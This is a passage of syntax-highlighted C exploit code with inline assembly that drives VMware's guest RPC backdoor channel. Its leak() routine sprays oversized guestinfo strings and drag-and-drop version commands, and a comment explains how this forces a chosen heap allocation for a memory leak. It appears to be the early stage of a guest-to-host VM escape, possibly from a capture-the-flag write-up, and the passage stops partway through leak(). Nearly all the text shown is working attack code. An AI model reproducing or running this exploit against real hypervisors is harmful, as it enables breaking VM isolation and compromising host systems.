1216<span class="kt">void</span> <span class="nf">channel_open</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1217    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">
1217\n\t</span><span class="s">&quot;</span>
1218        <span class="s">&quot;movq %%rdi,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1219        <span class="s">&quot;movq %%rsi,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1220        <span class="s">&quot;movq %%rdx,%%r12</span><span class="se">\n\t</span><span class="s">&quot;</span>
1221        <span class="s">&quot;movq %%rcx,%%r13</span><span class="se">\n\t</span><span class="s">&quot;</span>
1222        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1223        <span class="s">&quot;movl $0xc9435052,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1224        <span class="s">&quot;movl $0x1e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1225        <span class="s">&quot;movl $0x5658,%%edx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1226        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1227        <span class="s">&quot;movl %%edi,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1228        <span class="s">&quot;movl %%esi,(%%r11)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1229        <span class="s">&quot;movl %%edx,(%%r12)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1230        <span class="s">&quot;movl %%ecx,(%%r13)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1231        <span class="o">:</span>
1232        <span class="o">:</span>
1233        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r8&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span><span class="p">,</span><span class="s">&quot;%r12&quot;</span><span class="p">,</span><span class="s">&quot;%r13&quot;</span>
1234       <span class="p">);</span>
1235<span class="p">}</span>
1236
1237<span class="kt">void</span> <span class="nf">channel_set_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1238    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1239        <span class="s">&quot;movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1240        <span class="s">&quot;movl %%ecx,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1241        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1242        <span class="s">&quot;movl $0x0001001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1243        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1244        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1245        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1246        <span class="o">:</span>
1247        <span class="o">:</span>
1248        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1249       <span class="p">);</span>
1250<span class="p">}</span>
1251
1252<span class="kt">void</span> <span class="nf">channel_send_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1253    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;pushq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1254        <span class="s">&quot;movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1255        <span class="s">&quot;movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1256        <span class="s">&quot;movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1257        <span class="s">&quot;movq $0,%%r12</span><span class="se">\n\t</span><span class="s">&quot;</span>
1258        <span class="s">&quot;1:</span><span class="se">\n\t</span><span class="s">&quot;</span>
1259        <span class="s">&quot;movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1260        <span class="s">&quot;add %%r12,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1261        <span class="s">&quot;movl (%%rbp),%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1262        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1263        <span class="s">&quot;movl $0x0002001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1264        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1265        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1266        <span class="s">&quot;addq $4,%%r12</span><span class="se">\n\t</span><span class="s">&quot;</span>
1267        <span class="s">&quot;cmpq %%r12,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1268        <span class="s">&quot;ja 1b</span><span class="se">\n\t</span><span class="s">&quot;</span>
1269        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1270        <span class="s">&quot;popq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1271        <span class="o">:</span>
1272        <span class="o">:</span>
1273        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span><span class="p">,</span><span class="s">&quot;%r12&quot;</span>
1274        <span class="p">);</span>
1275<span class="p">}</span>
1276
1277<span class="kt">void</span> <span class="nf">channel_recv_reply_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1278    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1279        <span class="s">&quot;movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1280        <span class="s">&quot;movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1281        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1282        <span class="s">&quot;movl $0x0003001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1283        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1284        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1285        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1286        <span class="s">&quot;movl %%ebx,(%%r11)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1287        <span class="o">:</span>
1288        <span class="o">:</span>
1289        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span>
1290       <span class="p">);</span>
1291
1292<span class="p">}</span>
1293
1294<span class="kt">void</span> <span class="nf">channel_recv_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1295    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;pushq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1296        <span class="s">&quot;movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1297        <span class="s">&quot;movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1298        <span class="s">&quot;movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1299        <span class="s">&quot;movq $1,%%rbx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1300        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1301        <span class="s">&quot;movl $0x0004001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1302        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1303        <span class="s">&quot;in %%dx,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1304        <span class="s">&quot;add %%r11,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1305        <span class="s">&quot;movl %%ebx,(%%rbp)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1306        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1307        <span class="s">&quot;popq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1308        <span class="o">:</span>
1309        <span class="o">:</span>
1310        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span><span class="p">,</span><span class="s">&quot;%r12&quot;</span>
1311       <span class="p">);</span>
1312<span class="p">}</span>
1313
1314<span class="kt">void</span> <span class="nf">channel_recv_finish</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1315    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1316        <span class="s">&quot;movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1317        <span class="s">&quot;movq $0x1,%%rbx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1318        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1319        <span class="s">&quot;movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1320        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1321        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1322        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1323        <span class="o">:</span>
1324        <span class="o">:</span>
1325        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1326       <span class="p">);</span>
1327<span class="p">}</span>
1328<span class="kt">void</span> <span class="nf">channel_recv_finish2</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1329    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1330        <span class="s">&quot;movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1331        <span class="s">&quot;movq $0x21,%%rbx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1332        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1333        <span class="s">&quot;movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1334        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1335        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1336        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1337        <span class="o">:</span>
1338        <span class="o">:</span>
1339        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1340       <span class="p">);</span>
1341<span class="p">}</span>
1342<span class="kt">void</span> <span class="nf">channel_close</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1343    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">
1343\n\t</span><span class="s">&quot;</span>
1344        <span class="s">&quot;movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1345        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1346        <span class="s">&quot;movl $0x0006001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1347        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1348        <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1349        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1350        <span class="o">:</span>
1351        <span class="o">:</span>
1352        <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1353       <span class="p">);</span>
1354<span class="p">}</span>
1355<span class="k">struct</span> <span class="n">channel</span><span class="p">{</span>
1356    <span class="kt">int</span> <span class="n">cookie1</span><span class="p">;</span>
1357    <span class="kt">int</span> <span class="n">cookie2</span><span class="p">;</span>
1358    <span class="kt">int</span> <span class="n">num</span><span class="p">;</span>
1359<span class="p">};</span>
1360<span class="kt">uint64_t</span> <span class="n">heap</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span>
1361<span class="kt">uint64_t</span> <span class="n">text</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span>
1362<span class="kt">void</span> <span class="nf">run_cmd</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">cmd</span><span class="p">){</span>
1363    <span class="k">struct</span> <span class="n">channel</span> <span class="n">tmp</span><span class="p">;</span>
1364    <span class="kt">int</span> <span class="n">res</span><span class="p">,</span><span class="n">len</span><span class="p">,</span><span class="n">i</span><span class="p">;</span>
1365    <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span>
1366    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1367    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1368        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1369        <span class="k">return</span><span class="p">;</span>
1370    <span class="p">}</span>
1371    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">cmd</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1372    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1373        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1374        <span class="k">return</span><span class="p">;</span>
1375    <span class="p">}</span>
1376    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span><span class="o">+</span><span class="mh">0x10</span><span class="p">,</span><span class="n">cmd</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1377
1378    <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1379    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1380        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv data len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1381        <span class="k">return</span><span class="p">;</span>
1382    <span class="p">}</span>
1383    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv len:%d</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">len</span><span class="p">);</span>
1384    <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1385    <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span>
1386    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">4</span><span class="p">){</span>
1387        <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1388    <span class="p">}</span>
1389    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;recv data:%s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">data</span><span class="p">);</span>
1390    <span class="n">channel_recv_finish</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1391    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1392        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv finish</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1393    <span class="p">}</span>
1394
1395    <span class="n">channel_close</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1396    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1397        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to close channel</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1398        <span class="k">return</span><span class="p">;</span>
1399    <span class="p">}</span>
1400<span class="p">}</span>
1401<span class="kt">void</span> <span class="nf">leak</span><span class="p">(){</span>
1402    <span class="k">struct</span> <span class="n">channel</span> <span class="n">chan</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
1403    <span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
1404    <span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="n">i</span><span class="p">;</span>  
1405    <span class="kt">char</span> <span class="n">pay</span><span class="p">[</span><span class="mi">8192</span><span class="p">];</span>
1406    <span class="kt">char</span> <span class="o">*</span><span class="n">s1</span> <span class="o">=</span> <span class="s">&quot;info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;</span><span class="p">;</span>
1407    <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span>
1408    <span class="kt">char</span> <span class="o">*</span><span class="n">s2</span> <span class="o">=</span> <span class="s">&quot;info-get guestinfo.a&quot;</span><span class="p">;</span>
1409    <span class="kt">char</span> <span class="o">*</span><span class="n">s3</span> <span class="o">=</span> <span class="s">&quot;1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;</span><span class="p">;</span>
1410    <span class="kt">char</span> <span class="o">*</span><span class="n">s4</span> <span class="o">=</span> <span class="s">&quot;tools.capability.dnd_version 4&quot;</span><span class="p">;</span>
1411    <span class="kt">char</span> <span class="o">*</span><span class="n">s5</span> <span class="o">=</span> <span class="s">&quot;vmx.capability.dnd_version&quot;</span><span class="p">;</span>
1412    <span class="c1">//init data</span>
1413    <span class="n">run_cmd</span><span class="p">(</span><span class="n">s1</span><span class="p">);</span> <span class="c1">// set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);</span>
1414    <span class="n">run_cmd</span><span class="p">(</span><span class="n">s4</span><span class="p">);</span>
1415
1416
1417    <span class="c1">//first step </span>
1418    <span class="n">channel_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1419    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1420        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to open channel!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1421        <span class="k">return</span><span class="p">;</span>
1422    <span class="p">}</span>
1423    <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1424    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1425        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to set len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1426        <span class="k">return</span><span class="p">;</span>
1427    <span class="p">}</span>
1428    <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="n">s2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1429    <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&amp;</span><span class="n">len</span><span class="p">,</span><span class="o">&amp;</span><span class="n">res</span><span class="p">);</span>
1430    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1431        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;fail to recv data len</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
1432        <span class="k">return</span><span class="p">;</span>
1433    <span class="p">}</span>
